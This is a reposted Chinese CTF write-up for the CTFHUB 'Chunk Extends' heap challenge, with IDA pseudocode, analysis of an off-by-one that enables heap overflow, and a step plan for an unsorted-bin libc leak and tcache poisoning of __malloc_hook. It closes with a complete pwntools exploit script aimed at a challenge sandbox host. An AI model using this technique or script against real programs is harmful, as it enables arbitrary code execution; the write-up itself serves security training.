[Pwn]CTFHUB-Chunk Extends

admin 2023年3月20日21:40:08评论22 views字数 5166阅读17分13秒阅读模式

IDA静态分析

伪代码分析

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice[67]; // [rsp+Ch] [rbp-114h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", choice);
    switch ( choice )
    {
      case 1:
        add();//存在逻辑错误导致的溢出覆盖
        break;
      case 2:
        dele();
        break;
      case 3:
        edit();//结合add函数的溢出可造成严重的堆溢出
        break;
      case 4:
        show();//结合堆溢出可造成对当前mainArenaHeap的泄露
        break;
      case 5:
        exit(0);
      default:
        exit(0);
    }
  }
}

add函数【逻辑错误】

unsigned __int64 add()
{
  int i; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  for ( i = 0; i <= 9 && chunkList[i]; ++i )    // 遍历查找可用索引【索引超出范围没有即时终止程序,当i=10时仍继续执行,存在逻辑错误】
    ;
  puts("size:");
  __isoc99_scanf("%d", &chunkList[i + 10]);
  if ( chunkList[i + 10] > 1024 )
  {
    puts("error");
    exit(0);
  }
  chunkList[i] = (__int64)malloc(chunkList[i + 10]);//当i=10时,chunk#0的size被覆盖为chunk#10的地址,将构成堆溢出
  return v2 - __readfsqword(0x28u);
}

dele函数

unsigned __int64 dele()
{
  unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &index);
  if ( index >= 0xA )
  {
    puts("error");
    exit(0);
  }
  free((void *)chunkList[index]);
  chunkList[index] = 0LL;
  chunkList[(int)index + 10] = 0LL;
  return v2 - __readfsqword(0x28u);
}

edit函数【堆溢出】

unsigned __int64 edit()
{
  unsigned int index; // [rsp+0h] [rbp-10h] BYREF
  int size; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &index);
  puts("size:");
  __isoc99_scanf("%d", &size);
  if ( index >= 0xA )
  {
    puts("error");
    exit(0);
  }
  if ( size > chunkList[(int)index + 10] )      // 大小检测,若输入大小大于chunkList[i+10]的值则以chunkList中值作为size,chunk#0的size可被覆盖成heap地址,可造成堆溢出
    size = chunkList[(int)index + 10];
  puts("content:");
  read(0, (void *)chunkList[index], size);
  return v3 - __readfsqword(0x28u);
}

show函数【堆泄露】

unsigned __int64 show()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("idx:");
  __isoc99_scanf("%d", &v1);
  if ( v1 >= 0xA )
  {
    puts("error");
    exit(1);
  }
  puts((const char *)chunkList[v1]);            // 按字符串打印heap中内容,结合堆溢出可对当前mainArenaHeap任意读
  return v2 - __readfsqword(0x28u);
}

分析总结

本程序在一个全局数组chunkList中保存了每一个heap的地址和size,其中size将用于edit()函数中的大小检查

chunkList[0-9]分别用作保存地址,chunkList[10-19]分别用作保存size

由于在add()函数中存在逻辑错误,当i>9时没有及时终止程序,导致攻击者可以申请第11个heap,并且将该heap的地址写在了chunkList[10],覆盖了chunk#0的size,导致在edit()函数中可造成严重的堆溢出,并且结合堆溢出可利用show()函数泄露堆中的内容

漏洞利用及原理

可利用漏洞

  • 堆溢出
  • 堆泄露

Unsorted Bin Leak & Tcache poisoning

利用流程

由于程序使用了TCache,我们需要构造一个更大的块使其进入UnsortedBin来泄露Libc基址,根据分析可知,我们可以通过编辑Chunk#0进行堆溢出篡改其它堆的任意内容,所以我们进行以下步骤操作

  1. 连续申请11个Chunk,其中chunk#3大小申请为0x60,其余为0x400
  2. 利用堆溢出篡改chunk#1->size0x821
  3. 释放chunk#1使其进入UnsortedBin
  4. 填充chunk#0chunk#1->fd
  5. 通过show(0)泄露mainArena+offset,offset的值可通过调试得知
  6. 恢复chunk#1ChunkHeader
  7. 重新申请chunk#1,size为0x60,从Unsorted Bin Chunk中分割出来
  8. 按顺序释放chunk#3 chunk#1使其进入TCache
  9. 通过堆溢出篡改freeChunk#1->fd__malloc_hook-0x13
  10. 重新申请chunk#1 chunk#3,此时chunk#3已经指向FakeChunk
  11. 编辑chunk#3篡改__malloc_hook指向OneGadGet

注意事项

若是在本地调试时发现freeChunkT->fd内容并不直接指向上一个freeChunkT,第一个freeChunkT->fd的值也不为0,那是因为在glibc2.31后对TCache FreeChunk的fd做了混淆保护,提高了攻击者的攻击难度,使用patchELF将程序的elf修改为glibc2.27即可

至于该混淆保护,其将第一个freeChunkT的地址>> 12,除去了低位的3字节,并将其保存在fd字段中将其作为key,而后续每一个freeChunkT->fd ^= key,也就是说若是存在此保护,我们还需要将key泄露出来

Exploit

from pwn import *

prog = "./chunk_extend"

local = False
context(os='linux', arch='amd64', log_level='debug')
elf = ELF(prog)
libc = ELF("libc-2.27.so")

if local:
 p = process(prog)
 gdb.attach(p)
 libc = ELF("/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")
 sleep(1)
else:
 p = remote("challenge-9fd0886713838b6f.sandbox.ctfhub.com",35666)
 
 

def add(size):
 p.sendlineafter("choice: n","1")
 p.sendlineafter("size:n",str(size))
def dele(index):
 p.sendlineafter("choice: n","2")
 p.sendlineafter("idx:n",str(index))
def edit(index,content):
 p.sendlineafter("choice: n","3")
 p.sendlineafter("idx:n",str(index))
 p.sendlineafter("size:n",str(len(content)))
 p.sendafter("content:n",content)
def show(index):
 p.sendlineafter("choice: n","4")
 p.sendlineafter("idx:n",str(index))

for i in range(10):
 if(i==3):
  add(0x60)
 else:
  add(0x400)
add(0x400)



payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x821)
edit(0,payload)#溢出篡改chunk#1 size以构造Unsoted Bin Chunk

#泄漏LIBC基址
dele(1)
payload = b"x66"*0x410
edit(0,payload)
show(0)
mainArena = u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))-96
mallocHook = mainArena-0x10
print("mainArena =============> {}".format(hex(mainArena)))
libcBase = mallocHook - libc.sym['__malloc_hook']
oneGadGetL = 0x4f322 + libcBase
oneGadGetR = 0x4f322 + libcBase

payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x821)
edit(0,payload)#恢复chunk#1

add(0x60)
dele(3)
dele(1)

payload = b"x66"*0x400
payload += p64(0)
payload += p64(0x71)
payload += p64(mallocHook-0x13)
edit(0,payload)

add(0x60)#1
add(0x60)#3

payload = b"x66"*0x13
payload += p64(oneGadGetL)
edit(3,payload)

dele(5)
add(0x400)

p.interactive()
p.close()

原文始发于微信公众号(ACT Team):[Pwn]CTFHUB-Chunk Extends

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月20日21:40:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [Pwn]CTFHUB-Chunk Extendshttps://cn-sec.com/archives/1617284.html

发表评论

匿名网友 填写信息